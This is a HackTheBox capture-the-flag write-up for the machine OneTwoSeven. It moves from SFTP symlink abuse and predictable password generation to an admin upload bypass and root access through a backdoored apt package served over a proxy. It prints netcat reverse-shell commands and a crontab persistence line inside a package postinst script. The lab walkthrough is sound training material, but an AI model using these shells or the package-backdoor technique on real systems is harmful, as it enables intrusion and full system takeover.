OneTwoSeven — HackTheBox Machine Writeup

If at first you don’t succeed, try, try again.

— Thomas H. Palmer

First HackTheBox Machine Writeup!


I started my attack by performing an nmap scan:

Nmap scan report for
Host is up (0.31s latency).
Not shown: 65532 closed ports
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 48:6c:93:34:16:58:05:eb:9a:e5:5b:96:b6:d5:14:aa (RSA)
| 256 32:b7:f3:e2:6d:ac:94:3e:6f:11:d8:05:b9:69:58:45 (ECDSA)
|_ 256 35:52:04:dc:32:69:1a:b7:52:76:06:e3:6c:17:1e:ad (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Page moved.
60080/tcp filtered unknown

We can see that nmap identified three ports with an open state. Let’s try to look around for more attack vectors.

Browsing the webpage on onetwoseven.htb (configure your /etc/hosts file to resolve to the specified hostname) will direct us the the site’s homepage:

SFTP? So that explains the open port 22

Signing up on the webpage will give us this:

ooh. nifty!

The site told us that we can now use the provided credentials to upload my own pages via sftp://onetwoseven.htb and that we can access our personal homepage via http://onetwoseven.htb/~ots-3YzMyNDk/ :

featuring a wall


Let’s try connecting to the sftp port using the provided credentials:

Let’s see what we can do in this sftp prompt:

Well, it seems that we can upload files using the put command. To verify, we can browse http://onetwoseven.htb/~ots-3YzMyNDk/test.txt :

Hmm, since we can’t do anything else, and we know that a common attack on chrooted sftp is via symlinks, let’s try symlink-ing some well-known files, such as /etc/passwd using the command:

ln -s /etc/passwd passwd_ln

Browsing it via the httpd service (http://onetwoseven.htb/~ots-3YzMyNDk/passwd_ln) gives us:


With x.x being the address of my tun adapter.

We can try to symlink other files, but for now, I’d rather see the current directory and other surrounding directories (if applicable). Linking /var/www will give us this:

Grabbing /var/www/html/signup.php and displaying it will give us this output:

function username() { $ip = $_SERVER['REMOTE_ADDR']; return "ots-" . substr(str_replace('=','',base64_encode(substr(md5($ip),0,8))),3); }
function password() { $ip = $_SERVER['REMOTE_ADDR']; return substr(md5($ip),0,8); }

The code snippet above describes the algorithm that the site used to generate the username and password of the leased accounts. Based on the snippet above, we can deduce that the password for any connecting IP address is generated by getting the first 8 characters of the md5 checksum of the connecting IP address.

Going back to the /etc/passwd output that we got from before, we can generate the password of the user ots-yODc2NGQ with the IP address of by getting substr(md5(,0,8)

The md5 checksum of the IP address is f528764d624db129b32c21fbca0cb8d6 therefore, the password of the user ots-yODc2NGQ is f528764d.


We can login to the sftp service using the credentials we generated above:

Enumerating further and browsing into the /var/www/html-admin symlink will give us this:

Displaying the contents of the .login.php.swp file (preferrably using strings ) will draw us to the attention of the following lines:

if ($_POST['username'] == 'ots-admin' && hash('sha256',$_POST['password']) == '11c5a42c9d74d5442ef3cc835bda1b3e7cc7f494e704a10d0de426b2fbe5cbd8') {
if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
<?php session_start(); if (isset ($_SESSION['username'])) { header("Location: /menu.php"); } ?>
<?php if ( $_SERVER['SERVER_PORT'] != 60080 ) { die(); } ?>

So we now have a new set of credentials — a user with the username ots-admin and a password with a sha256 hash of 11c5a42c9d74d5442ef3cc835bda1b3e7cc7f494e704a10d0de426b2fbe5cbd8 which is actually the string Homesweethome1.

We also learned that the admin page can only be accessed via port 60080.

To do that, we can use ssh local port-forwarding. Supplying the command:

sudo ssh -N -L 80: ots-yODc2NGQ@onetwoseven.htb

..will allow us to authenticate via ssh using ots-yODc2NGQ’s credentials. Since we are just riding on the ssh service for port-forwarding, we also supplied the -N flag to suppress ssh’s default behavior of launching a remote command upon successful authentication.

And fair enough, we can now access onetwoseven.htb‘s admin page via

Logging into the website using the credentials ots-admin:Homesweethome1 will display this:

Uploading our own plugins (i.e. reverse shell 😂 ) is disabled for now. So let’s look around for ways so we can upload anything we want. Let’s check OTS Addon Manager:

Guided by the rewrite rules above, our target URL of: invalid.

Since the restrictions specifically mentioned that:

  1. The addon manager must not be executed directly
  2. The strings addon-upload.php and addon-download.php will get replaced with addons/ots-man-addon.php

Our target URL, once sent will be rewritten as: 

However, we can circumvent that using the following URL:

Which will eventually be written as:

Sending a POST request with our payload to will allow us to upload our reverse shell (in this case, ots-momo.php), which will go straight to the /addons folder:

Triggering the reverse shell by clicking it will give us the coveted reverse shell:

Let’s upgrade our shell and execute sudo -l so we can see the commands we can run as root:

Interesting. We can only execute the following commands as root:

/usr/bin/apt-get update
/usr/bin/apt-get upgrade


Running sudo /usr/bin/apt-get update will show us this:

The machine searches for the sources listed above — to no avail. This means that

  1. We must find a way to make the machine believe that we are one of the specified sources; and
  2. We must craft an evil package to gain a root shell

MITM Setup

If we go back to the output of sudo -l, we can see that the environment variable http_proxy is set in env_keep. Which means that the environment variable http_proxy, once set via www-admin-data, is preserved even if we run sudo.

If we set our http_proxy environment variable using export http_proxy=http://10.10.x.x:7979, set-up a Burp proxy that listens on port 7979, host a SimpleHTTPServer using python on port 80 and run sudo /usr/bin/apt-get updateon the target machine:

We can see that the target machine now connects to our machine and tries to download the packages.

We can now proceed to make the evil package.

Crafting the Evil Package

I followed some instructions on this article and modified some of them to fit our scenario ( so props up to this resource for providing a clear but concise walkthrough.

The changes I made were the following:

  1. Created a new file called modified_nano/usr/sbin/update_nano with the following content:
nc -e /bin/bash 7070

2. Added the following lines to modified_nano/DEBIAN/postinst :

crontab -l | { cat; echo “* * * * * /usr/sbin/nano_update “; } | crontab -
nc -e /bin/bash 7070

3. Created the following files and directories

The file devuan/dists/ascii/Release contains the MD5, SHA1, and SHA256 hashes of the Packages and Packages.gz files, among others:

The file devuan/dists/ascii/main/binary-amd64/Packages file contains the Package name, Version, Package size, and its MD5, SHA1, SHA256 hashes, among others:

And lastly, the file devuan/pool/n/na/nano_2.7.4-1_amd64.deb contains our repacked evil package.

Delivery + Exploitation

Once done correctly, we can run sudo /usr/bin/apt-get update:

And finally, sudo /usr/bin/apt-get upgrade:


After which, due to the backdoored evil package, will give us our root shell:

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — —
Hi I’m Mon, and I’m one of the founders of hackstreetboys, a CTF team from the Philippines!

While you’re at it, please like our Facebook page (
Follow our Twitter account (
Read our writeups on Medium (
Look at our new GitHub page (
Check our website (

Internet noob.